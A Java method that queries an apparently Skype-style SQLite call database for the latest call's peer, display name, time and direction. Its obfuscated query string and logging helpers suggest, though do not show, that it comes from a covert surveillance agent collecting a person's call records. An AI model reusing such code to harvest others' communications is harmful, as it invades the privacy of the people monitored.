public static boolean getCurrentCall(GenericSqliteHelper helper, final CallInfo callInfo) {
		// select ca.id,identity,dispname,call_duration,cm.type,cm.start_timestamp,is_incoming from callmembers as cm join calls as ca on cm.call_db_id = ca.id order by ca.id desc limit 1
		String sqlQuery= M.e("select ca.id,identity,dispname,call_duration,cm.type,cm.creation_timestamp,is_incoming,ca.begin_timestamp from callmembers as cm join calls as ca on cm.call_name = ca.name order by ca.begin_timestamp desc limit 1");

		RecordVisitor visitor = new RecordVisitor() {

			@Override
			public long cursor(Cursor cursor) {
				callInfo.id = cursor.getInt(0);
				callInfo.peer = cursor.getString(1);
				callInfo.displayName = cursor.getString(2);
				int type = cursor.getInt(4);
				callInfo.timestamp = new Date(cursor.getLong(5));

				callInfo.incoming = cursor.getInt(6) == 1;
				callInfo.valid = true;

				if (Cfg.DEBUG) {
					Check.log(TAG + " (getCurrentCall), timestamp: " + cursor.getLong(5) + " -> "+ callInfo.timestamp + "begin: " + cursor.getInt(7));
				}

				return callInfo.id;
			}
		};

		helper.traverseRawQuery(sqlQuery, new String[]{}, visitor);

		return callInfo.valid;
	}